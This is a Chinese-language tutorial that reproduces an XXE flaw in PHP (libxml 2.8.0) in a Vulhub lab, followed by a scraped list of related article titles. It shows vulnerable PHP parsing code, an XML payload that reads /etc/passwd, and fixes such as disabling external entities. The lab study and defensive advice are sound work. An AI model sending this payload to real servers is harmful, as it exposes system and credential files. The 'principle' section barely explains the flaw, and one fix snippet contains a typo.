PHP环境 XML外部实体注入漏洞

  • 环境介绍
  • 漏洞原理
  • 漏洞复现
  • 修补方案和建议

环境介绍

libxml 2.8.0
libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。

漏洞原理

XML 被设计为传输和存储数据,其焦点是数据的内容。 HTML 被设计用来显示数据,其焦点是数据的外观。 HTML 旨在显示信息,而 XML 旨在传输信息。XML特点,XML 被设计用来结构化、存储以及传输信息。仅仅是纯文本,有能力处理纯文本的软件都可以处理 XML。XML 允许创作者定义自己的标签和自己的文档结构。XML 是独立于软件和硬件的信息传输工具。所有现代浏览器都有读取和操作 XML 的内建 XML 解析器,但是不同的浏览器解析的方法不一样的,如在IE中使用loadXML()方法,在其他浏览器中使用DOMParser。loadXML()方法用于加载字符串文本,load()方法用于加载文件。解析器把 XML 载入内存,然后把它转换为可通过 JavaScript 访问的 XML DOM 对象。

漏洞复现

利用Vulhub靶场进行漏洞复现

cd /vulhub/php/php_xxe
docker-compose up -d

环境启动后,访问 http://your-ip:8080/index.php 即可看到 phpinfo,搜索 libxml 即可看到其版本为 2.8.0。

Web目录位www有四个文件

├── dom.php # 示例:使用DOMDocument解析body

├── index.php

├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body

└── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body

dom.php,SimpleXMLElement.php,simplexml_load_string.php均可触发XXE漏洞,具体输出点请阅读这三个文件的代码。
三个页面源码依次如下:
dom.php

<?php
$data = file_get_contents('php://input');$dom = new DOMDocument();
$dom->loadXML($data);print_r($dom);

SimpleXMLElement.php

<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data);echo $xml->name;

simplexml_load_string.php

<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);echo $xml->name;

通过burp suite抓取访问dom.php,SimpleXMLElement.php,simplexml_load_string.php的数据包并添加payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>


修补方案和建议

  1. 使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
Python:
from lxml importetree xmlData= etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

  1. 过滤用户提交的XML数据

如:!ENTITY,SYSTEM和PUBLIC

参考
https://www.owasp.org/index.php/Testing_for_XML_Injection_(OTG-INPVAL-008)
https://blog.csdn.net/EC_Carrot/article/details/118900314

PHP环境 XML外部实体注入漏洞相关推荐

  1. XML外部实体注入漏洞——XXE简单分析

    前言: XXE漏洞经常出现在CTF中,一直也没有系统的学习过,今天就来总结一波. 文章目录 一.XXE 漏洞是什么: 二.XML基础知识: 1.XML是什么? 2.XML文档结构: DTD声明方式: ...

  2. Pikachu-XXE(xml外部实体注入漏洞)

    XXE -"xml external entity injection" 既"xml外部实体注入漏洞". 概括一下就是"攻击者通过向服务器注入指定的x ...

  3. Xml外部实体注入漏洞(XXE)与防护

    转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...

  4. 【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞分析

    0x01 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/ ...

  5. XML 外部实体注入漏洞

    0x01 XXE(XML外部实体注入)漏洞 1.1 漏洞原因 1.2 漏洞构造方式 1.3 XML可解析的协议 0x02 寻找XXE漏洞隐藏的攻击面 2.1 XInclude攻击 2.2 通过文件上传 ...

  6. XXE(XML外部实体注入)漏洞

    如果你的应用是通过用户上传处理XML文件或POST请求(例如将SAML用于单点登录服务甚至是RSS)的,那么你很有可能会受到XXE的攻击.XXE是一种非常常见的漏洞类型,我们几乎每天都会碰到它 什么是 ...

  7. XXE外部实体注入漏洞总结

    Python微信订餐小程序课程视频 https://edu.csdn.net/course/detail/36074 Python实战量化交易理财系统 https://edu.csdn.net/cou ...

  8. XXE(XML外部实体注入)详解

    1. XXE漏洞描述 XXE(XML External Entity Injection)又称为"XML外部实体注入漏洞". 当允许引用外部实体时,通过构造恶意内容,就可能导致任意 ...

  9. 【burpsuite安全练兵场-服务端10】XML外部实体注入(XXE注入)-9个实验(全)

    前言: 介绍: 博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章). 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edus ...

最新文章

  1. mysql存储过程写法—动态参数运用
  2. 怎么知道网站是用什么程序做的
  3. 信息系统项目管理师:第5章:项目范围管理- 章节真题+解析
  4. 室内使用酒精消毒的时候一定要注意开窗!!!
  5. 绝地求生哪个服务器延迟,绝地求生:腾讯公布国服服务器,超性能环境绝对稳定远离延迟!...
  6. requireJS对文件合并与压缩(二)
  7. Linux 命令之 ll -- 列出当前文件或目录的详细信息
  8. 全开源智睿企业网站管理系统 v11.1.0源码
  9. Android GC机制介绍
  10. linux 小度 驱动_小度Wifi,360随身Wifi2,小米Wifi树莓派驱动下载
  11. vue jsx v html,Vue 中使用jsx示例
  12. Redis基础篇(一)
  13. 7-6 打妖怪 (10 分)
  14. 精华文章置顶--使用VSCode 进行IRIS 开发
  15. centos7连接外网详细教程
  16. 阿里工程师谈,什么是好的代码?
  17. 苹果开放降级_iOS13不好用?iOS可能将会实现自由降级
  18. Python Print函数用法
  19. android逆向,必会的命令
  20. linux沙盒游戏,沙盒游戏_PE沙盒游戏合集,欢迎⊙ω⊙_安卓应用游戏下载- AppChina应用汇...

热门文章

  1. 21年浙江工业大学计算机专硕考研经验帖
  2. mac 电脑CPU温度怎么看?怎么可以监控Mac CPU温度,为什么我的 MacBook Air 这么热?
  3. [4G5G专题-25]:架构-4G5G频谱资源大全与详解
  4. HUAWEI HiAI亮相华为开发者生态大会 助力应用AI开发实现加速度
  5. 【编程】把单调的工作交给机器去做!
  6. 【编译原理】词法分析程序设计(lex)
  7. javascript window.location的用法
  8. html5 在线检测,html5超简单的手速反应测试器
  9. SEER流量众筹模块开发测试网络及使用文档发布
  10. 电子元器件产品安规基本要求